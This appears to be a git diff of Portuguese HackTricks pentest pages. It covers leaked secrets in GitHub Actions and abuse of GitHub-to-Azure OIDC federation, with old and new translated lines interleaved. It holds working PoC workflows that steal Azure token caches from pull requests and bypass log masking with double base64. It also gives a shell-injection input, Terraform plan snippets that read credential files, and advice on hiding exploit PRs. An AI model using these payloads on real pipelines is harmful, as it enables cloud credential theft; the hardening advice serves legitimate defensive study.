### Github Docker Images Registry
### Registro de Imagens Docker do Github
É possível criar Github actions que irão **construir e armazenar uma imagem Docker dentro do Github**.\\
Um exemplo pode ser encontrado no item expansível a seguir:
É possível criar Github actions que irão **build and store a Docker image inside Github**.\
Um exemplo pode ser encontrado no expansível a seguir:
<details>
@@ -617,31 +621,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
Como você pode ver no código anterior, o Github registry está hospedado em **`ghcr.io`**.
Como pode ver no código anterior, o Github registry está hospedado em **`ghcr.io`**.
Um usuário com permissões de leitura sobre o repo poderá então baixar a Docker Image usando um personal access token:
Um usuário com permissões de leitura sobre o repositório poderá então baixar a Docker Image usando um personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Então, o usuário poderia buscar por **leaked secrets in the Docker image layers:**
Então, o usuário poderia procurar por **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Informações sensíveis nos Github Actions logs
### Informações sensíveis nos logs do Github Actions
Mesmo que o **Github** tente **detectar valores secretos** nos logs das actions e **evitar mostrá-los**, **outros dados sensíveis** que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Mesmo que o **Github** tente **detectar secret values** nos logs das actions e **evitar mostrá-los**, outros dados sensíveis que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um secret value não será ocultado a menos que esteja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Ocultando seus rastros
## Encobrindo seus rastros
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Antes de tudo, qualquer PR aberto fica claramente visível ao público no Github e para a conta GitHub alvo. No GitHub, por padrão, nós **não podemos apagar um PR da internet**, mas há um detalhe. Para contas do Github que são **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou fazer com que sua **conta GitHub seja suspensa ou que sua conta seja sinalizada**. Isso **ocultaria todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR)
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Antes de mais nada, qualquer PR aberto fica claramente visível ao público no Github e para a conta alvo no GitHub. No GitHub por padrão, **não podemos deletar um PR da internet**, mas há um detalhe. Para contas do Github que são **suspended** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou ter sua **Conta GitHub suspensa ou ter sua conta sinalizada**. Isso iria **ocultar todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR)
Uma organização no GitHub é muito pró-ativa em reportar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em um Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e pronto, seu exploit fica invisível no GitHub.
Uma organização no GitHub é muito proativa em reportar contas ao GitHub. Tudo o que você precisa fazer é compartilhar “some stuff” em Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e aí está, seu exploit invisível no github.
> [!WARNING]
> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub via SIEM, já que a partir do GitHub UI o PR seria removido.
> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub no SIEM, já que pela GitHub UI o PR teria sido removido.
## Referências

View File

@@ -0,0 +1,227 @@
# Azure Abuso de Federação (GitHub Actions OIDC / Workload Identity)
{{#include ../../../banners/hacktricks-training.md}}
## Visão geral
GitHub Actions pode federar-se ao Azure Entra ID (formerly Azure AD) usando OpenID Connect (OIDC). Um workflow do GitHub solicita um GitHub ID token (JWT) de curta duração que codifica detalhes sobre a execução. O Azure valida esse token contra uma Federated Identity Credential (FIC) em um App Registration (service principal) e o troca por tokens de acesso do Azure (MSAL cache, bearer tokens para Azure APIs).
O Azure valida pelo menos:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (ao trocar por tokens do Azure)
- sub: deve corresponder ao identificador Subject configurado do FIC
> O aud padrão do GitHub pode ser uma URL do GitHub. Ao trocar com o Azure, defina explicitamente audience=api://AzureADTokenExchange.
## GitHub ID token — PoC rápido
```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
```
Para forçar a audiência do Azure na solicitação de token:
```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```
## Configuração do Azure (Workload Identity Federation)
1) Crie uma App Registration (service principal) e conceda o privilégio mínimo (por exemplo, Storage Blob Data Contributor em uma storage account específica).
2) Adicione credenciais de identidade federada:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: fortemente restrito ao workflow/contexto de execução pretendido (veja Scoping and risks abaixo).
3) Use azure/login para trocar o GitHub ID token e autenticar-se no Azure CLI:
```yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
```
Exemplo de troca manual (escopo Graph mostrado; ARM ou outros recursos de forma semelhante):
```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```
## Anatomia e personalização do subject (sub) do GitHub OIDC
Formato padrão do sub: repo:<org>/<repo>:<context>
Valores de context incluem:
- environment:<env>
- pull_request (PR é acionado quando não há environment)
- ref:refs/(heads|tags)/<name>
Claims úteis frequentemente presentes no payload:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Personalize a composição do sub pela API do GitHub para incluir claims adicionais e reduzir o risco de colisão:
```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
```
Nota: Doispontos nos nomes de environment são codificados em URL (%3A), eliminando truques antigos de injeção de delimitadores contra o parsing de sub. No entanto, usar subjects não únicos (por exemplo, apenas environment:<name>) continua inseguro.
## Escopo e riscos dos tipos de subject do FIC
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
- Risco: Se o branch/tag estiver desprotegido, qualquer contributor pode push e obter tokens.
- Environment: sub=repo:<org>/<repo>:environment:<env>
- Risco: Environments desprotegidos (sem reviewers) permitem que contributors mintem tokens.
- Pull request: sub=repo:<org>/<repo>:pull_request
- Maior risco: Qualquer colaborador pode abrir um PR e satisfazer o FIC.
PoC: Furto de tokens acionado por PR (exfiltrate o cache do Azure CLI escrito por azure/login):
```yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```
Locais de arquivos relacionados e notas:
- Linux/macOS: ~/.azure/msal_token_cache.json contém tokens MSAL para sessões do az CLI
- Windows: msal_token_cache.bin no perfil do usuário; protegido por DPAPI
## Workflows reutilizáveis e escopo de job_workflow_ref
Chamar um workflow reutilizável adiciona job_workflow_ref ao GitHub ID token, por exemplo:
```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```
Exemplo FIC para vincular tanto o caller repo quanto o reusable workflow:
```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```
Configure os claims no repo chamador para que tanto repo quanto job_workflow_ref estejam presentes em sub:
```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```
Aviso: Se você vincular apenas job_workflow_ref no FIC, um atacante pode criar um repo diferente na mesma org, executar o mesmo reusable workflow no mesmo ref, satisfazer o FIC e gerar tokens. Sempre inclua também o caller repo.
## Vetores de execução de código que contornam as proteções job_workflow_ref
Mesmo com job_workflow_ref devidamente limitado, qualquer dado controlado pelo caller que chegue ao shell sem citação segura pode levar à execução de código dentro do contexto do workflow protegido.
Exemplo de step reutilizável vulnerável (interpolação sem aspas):
```yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
```
Entrada maliciosa do chamador para executar comandos e exfiltrar o cache de tokens do Azure:
```yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```
## Terraform plan como um primitivo de execução em PRs
Trate terraform plan como execução de código. Durante o plan, Terraform pode:
- Ler arquivos arbitrários via funções como file()
- Executar comandos via external data source
Exemplo para exfiltrate Azure token cache durante o plan:
```hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```
Ou use external para executar comandos arbitrários:
```hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```
Conceder FICs utilizáveis em plans acionados por PR expõe tokens privilegiados e pode preparar um apply destrutivo posteriormente. Separe identidades para plan e apply; nunca permita tokens privilegiados em contextos de PR não confiáveis.
## Hardening checklist
- Nunca use sub=...:pull_request para FICs sensíveis
- Proteja qualquer branch/tag/environment referenciada por FICs (branch protection, environment reviewers)
- Prefira FICs com escopo tanto para repo quanto para job_workflow_ref em reusable workflows
- Customize o sub OIDC do GitHub para incluir claims únicos (ex.: repo, job_workflow_ref, repository_owner)
- Elimine interpolação não entre aspas de caller inputs em run steps; encode/quote com segurança
- Trate terraform plan como execução de código; restrinja ou isole identidades em contextos de PR
- Imponha princípio do menor privilégio em App Registrations; separe identidades para plan e apply
- Pin actions e reusable workflows para commit SHAs (evite pins por branch/tag)
## Manual testing tips
- Solicite um GitHub ID token inworkflow e imprima-o em base64 para evitar masking
- Decode o JWT para inspecionar claims: iss, aud, sub, job_workflow_ref, repository, ref
- Troque manualmente o ID token contra login.microsoftonline.com para confirmar FIC matching e scopes
- Após azure/login, leia ~/.azure/msal_token_cache.json para verificar a presença do material do token
## References
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
{{#include ../../../banners/hacktricks-training.md}}